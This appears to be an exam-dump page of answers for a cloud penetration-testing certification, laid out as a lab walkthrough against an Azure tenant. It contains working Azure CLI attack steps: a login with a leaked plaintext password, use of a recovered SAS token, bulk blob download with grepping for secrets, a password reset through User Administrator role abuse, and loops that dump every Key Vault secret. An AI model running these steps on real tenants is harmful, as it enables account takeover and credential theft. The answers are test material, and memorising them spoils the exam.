Pass the The SecOps Group Cloud Pentesting eXpert CCPenX-Az Questions and answers with Dumpstech

Detailed Solution:

From Q7, you should recover a limited-access SAS token or storage access information.

Set the storage account name and SAS token:

ACCOUNT= " excaliburstore "

SAS= " < recovered-sas-token > "

List containers:

az storage container list \

--account-name " $ACCOUNT " \

--sas-token " $SAS " \

--output table

The available container is:

sensitive-files

You can also confirm directly:

az storage blob list \

--account-name " $ACCOUNT " \

--container-name sensitive-files \

--sas-token " $SAS " \

--output table

Final Answer:

C. sensitive-files

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Detailed Solution:

Log in using the credential recovered in Q4.

az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p ' < recovered-password > '

Confirm the current signed-in user:

az ad signed-in-user show --output json

Now enumerate the user’s Microsoft Entra ID role memberships through Microsoft Graph.

az rest --method GET \

--url " https://graph.microsoft.com/v1.0/me/memberOf " \

--output json

To display only role names:

az rest --method GET \

--url " https://graph.microsoft.com/v1.0/me/memberOf " \

--query " value[].displayName " \

--output table

The relevant role is:

User Administrator

This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.

Final Answer:

B. User Administrator

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The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.

Detailed Solution:

List blobs inside the accessible container:

az storage blob list \

--account-name excaliburstore \

--container-name sensitive-files \

--sas-token " $SAS " \

--query " [].name " \

--output table

Download all files locally:

mkdir blobloot

az storage blob download-batch \

--account-name excaliburstore \

--source sensitive-files \

--destination blobloot \

--sas-token " $SAS "

Search the downloaded files for application credentials:

grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot

On Windows PowerShell:

Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " -CaseSensitive:$false

A typical file may look like this:

{

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,

" clientId " : " < application-client-id > " ,

" clientSecret " : " < application-client-secret > "

}

The clientId / appId value is the answer.

Final Answer:

Use the clientId / appId value found in the blob credential file.

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The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.

Detailed Solution:

Since the second compromised user is a User Administrator , abuse that role to reset the password of the target user.

az ad user update \

--id lila.nguyen@azuresecops.onmicrosoft.com \

--password ' NewP@ssw0rd12345! ' \

--force-change-password-next-sign-in false

Now authenticate as the target user.

az login -u lila.nguyen@azuresecops.onmicrosoft.com -p ' NewP@ssw0rd12345! '

Confirm the login context:

az account show

Check what Azure resources this user can see:

az resource list --output table

Check role assignments:

az role assignment list --all --output table

If the user has storage data-plane permissions, enumerate storage accounts:

az storage account list --output table

If the storage account is known from the lab chain, use it directly:

az storage table list \

--account-name excaliburstore \

--auth-mode login \

--output table

Query each table:

az storage entity query \

--account-name excaliburstore \

--table-name < table-name > \

--auth-mode login \

--output json

A faster method:

for table in $(az storage table list --account-name excaliburstore --auth-mode login --query " [].name " -o tsv); do

echo " ===== $table ===== "

az storage entity query \

--account-name excaliburstore \

--table-name " $table " \

--auth-mode login \

--output table

done

Search the output for:

Flag

SAS

token

container

storage

secret

The flag discovered in this stage is the Q7 answer.

Final Answer:

Use the Flag{...} value returned from the accessible table/storage data after logging in as lila.nguyen@azuresecops.onmicrosoft.com.

================

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Detailed Solution:

Log in using the supplied breached Azure account.

az login -u alex.johnson@azuresecops.onmicrosoft.com -p ' pg:Lr{k102l(fh7! '

After successful authentication, check the active Azure subscription context.

az account show

The important fields are:

{

" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,

" name " : " Azure subscription 1 " ,

" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,

" tenantDisplayName " : " ExcaliburCorp " ,

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "

}

The AAD / Microsoft Entra tenant ID is the tenantId.

Final Answer:

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

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Detailed Solution:

On an Azure VM with a system-assigned managed identity, run:

az login --identity

Then verify:

az account show

For a user-assigned managed identity, specify the client ID:

az login --identity --client-id < client-id >

Microsoft’s Azure CLI documentation confirms az login --identity for system-assigned managed identities and --client-id, --object-id, or --resource-id for user-assigned identities.

Correct answer:

B. az login --identity

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Detailed Solution:

In an Entra ID abuse path, a privileged user such as User Administrator may reset another user’s password. In logs, this appears as a user update operation involving the password profile.

Check audit logs in the portal:

Microsoft Entra ID → Monitoring → Audit logs

Or query via Microsoft Graph/Azure tooling depending on permissions.

The activity to look for is generally:

Update user

Modified property: passwordProfile

The other options represent different activities:

Microsoft.Authorization/roleAssignments/write = RBAC role assignment change

Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval

Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read

Correct answer:

B. Update user / password profile modification

Detailed Solution:

Query role assignments for the managed identity principal:

az role assignment list \

--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ---------------------- ----------------------------------------------

b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod-apps-eastus

The assigned role is:

Key Vault Secrets User

Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.

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